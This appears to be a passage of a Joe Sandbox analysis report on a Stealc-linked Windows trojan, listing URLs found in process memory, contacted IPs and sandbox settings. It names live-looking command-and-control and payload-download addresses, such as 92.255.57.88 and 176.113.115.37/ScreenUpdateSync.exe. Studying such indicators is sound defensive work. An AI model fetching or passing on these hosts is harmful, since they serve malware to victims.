https://anglebug.com/7382	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, EGHCBKKKFHCGCBFIJEHD.2.dr	false		high
https://issuetracker.google.com/284462263	chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000005.00000002.2051242421.00006C40029DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2051485574.00006C4002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054439822.00006C4002E7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000005.00000003.1977043270.00006C4003118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1974913873.00006C4003148000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1975097707.00006C400320C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977155996.00006C4003124000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1975126226.00006C40030F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977595832.00006C4002504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977865024.00006C40032F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1975043795.00006C40031A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1976992390.00006C4002EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1978040359.00006C400340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1975263218.00006C40031C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977068232.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2046673528.00006C40024F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000005.00000003.1961437976.00006C4002690000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/:	chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2050305082.00006C400296C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000005.00000002.2052721413.00006C4002BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052770830.00006C4002BDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000005.00000002.2052844115.00006C4002BE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bl	chrome.exe, 00000005.00000002.2052569602.00006C4002B50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000005.00000003.1977595832.00006C4002504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977865024.00006C40032F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1978040359.00006C400340C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/	chrome.exe, 00000005.00000002.2056457056.00006C40030D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052096191.00006C4002A7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052611941.00006C4002B7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2050305082.00006C400296C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017508265.00006C40052AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, EGHCBKKKFHCGCBFIJEHD.2.dr	false		high
https://issuetracker.google.com/255411748	chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://post-to-me.com/track_prt.php?sub=&cc=DE	IeccNv7PP6.exe, 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000005.00000002.2051242421.00006C40029DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2051485574.00006C4002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2054439822.00006C4002E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047581503.00006C40026BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000005.00000002.2054055189.00006C4002E18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052524889.00006C4002B2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000005.00000003.1973392290.00006C4002EE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000005.00000003.1961437976.00006C4002690000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000005.00000003.1977043270.00006C4003118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1974913873.00006C4003148000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1975097707.00006C400320C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977155996.00006C4003124000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1975126226.00006C40030F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977595832.00006C4002504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977865024.00006C40032F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1975043795.00006C40031A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1976992390.00006C4002EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1978040359.00006C400340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1975263218.00006C40031C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977068232.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2046673528.00006C40024F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000005.00000002.2053898646.00006C4002DE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, EGHCBKKKFHCGCBFIJEHD.2.dr	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icop	chrome.exe, 00000005.00000002.2053898646.00006C4002DE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000005.00000003.1961437976.00006C4002690000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-3.corp.googlPW	chrome.exe, 00000005.00000002.2046807662.00006C4002568000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000005.00000002.2046807662.00006C4002568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000005.00000002.2054055189.00006C4002E18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000005.00000002.2056348243.00006C400309C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2050181374.00006C400293C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047966403.00006C40026FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000005.00000002.2050565108.00006C4002988000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047532645.00006C400269C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1960586118.00006C40023C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000005.00000002.2056348243.00006C400309C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2050181374.00006C400293C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047966403.00006C40026FC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	chrome.exe, 00000005.00000002.2045217084.00006C400221C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	chrome.exe, 00000005.00000002.2046807662.00006C4002568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 00000005.00000002.2046216545.00006C40023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://92.255.57.88/7bbacc20a3bd2eb5.phpl	795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unisolated.invalid/a	chrome.exe, 00000005.00000002.2052844115.00006C4002BE8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://92.255.57.88/7bbacc20a3bd2eb5.phpg	795F.tmp.exe, 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3502	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/tools/feedback/chrome/__submitl	chrome.exe, 00000005.00000002.2047581503.00006C40026BC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/J	chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000005.00000002.2046774762.00006C4002558000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2050305082.00006C400296C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://post-to-me.com/track_prt.php?sub=0&cc=DE9	IeccNv7PP6.exe, 00000000.00000003.4112685558.0000000002E1C000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000002.4138451016.0000000002E1C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/3862	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000005.00000003.1971641846.00006C4002EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1990199705.00006C4002EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971746498.00006C4002EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1973345955.00006C4002EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1977399697.00006C4002EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1973392290.00006C4002EE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000005.00000002.2053898646.00006C4002DE8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000005.00000002.2054055189.00006C4002E18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/:	chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4384	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.37/ScreenUpdateSync.exe2	IeccNv7PP6.exe, 00000000.00000003.4112641633.0000000002E49000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000002.4138763956.0000000002E4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000005.00000002.2047286172.00006C4002628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017673246.00006C40051B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2026438876.00006C4003E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2058087454.00006C4003530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021133482.00006C4004F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 00000005.00000003.1967771280.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2053767075.00006C4002D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971258916.00006C40029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1971226590.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW	chrome.exe, 00000005.00000002.2056858392.00006C4003194000.00000004.00000800.00020000.00000000.sdmp	false		high
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs	chrome.exe, 00000005.00000002.2052569602.00006C4002B50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://policies.google.com/	chrome.exe, 00000005.00000002.2052721413.00006C4002BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2052770830.00006C4002BDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	false		high
http://92.255.57.88632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03	795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
176.113.115.37	unknown	Russian Federation	49505	SELECTELRU	false
172.67.179.207	post-to-me.com	United States	13335	CLOUDFLARENETUS	false
92.255.57.88	unknown	Russian Federation	42253	TELSPRU	true
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562754
Start date and time:	2024-11-26 00:06:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	IeccNv7PP6.exe renamed because original name is a hash value
Original Sample Name:	621b2c50b6826eacc84dc510f890fe48.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/36@3/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 112 Number of non-executed functions: 219
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 216.58.208.227, 172.217.19.238, 64.233.165.84, 34.104.35.123, 142.250.181.99, 20.42.73.29
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, umwatson.events.data.microsoft.com, clients.l.google.com, www.gstatic.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: IeccNv7PP6.exe

Simulations

Behavior and APIs

Time	Type	Description
18:07:17	API Interceptor	8392324x Sleep call for process: IeccNv7PP6.exe modified
18:08:12	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
176.113.115.37	XOr3Kqyo9n.exe	Get hash	malicious	Stealc	Browse	176.113.115.37/ScreenUpdateSync.exe
	0r9PL33C8E.exe	Get hash	malicious	Stealc	Browse	176.113.115.37/ScreenUpdateSync.exe
	Pw2KHOL9Z8.exe	Get hash	malicious	Stealc	Browse	176.113.115.37/ScreenUpdateSync.exe
	Tg3sk2wywR.exe	Get hash	malicious	Stealc	Browse	176.113.115.37/ScreenUpdateSync.exe
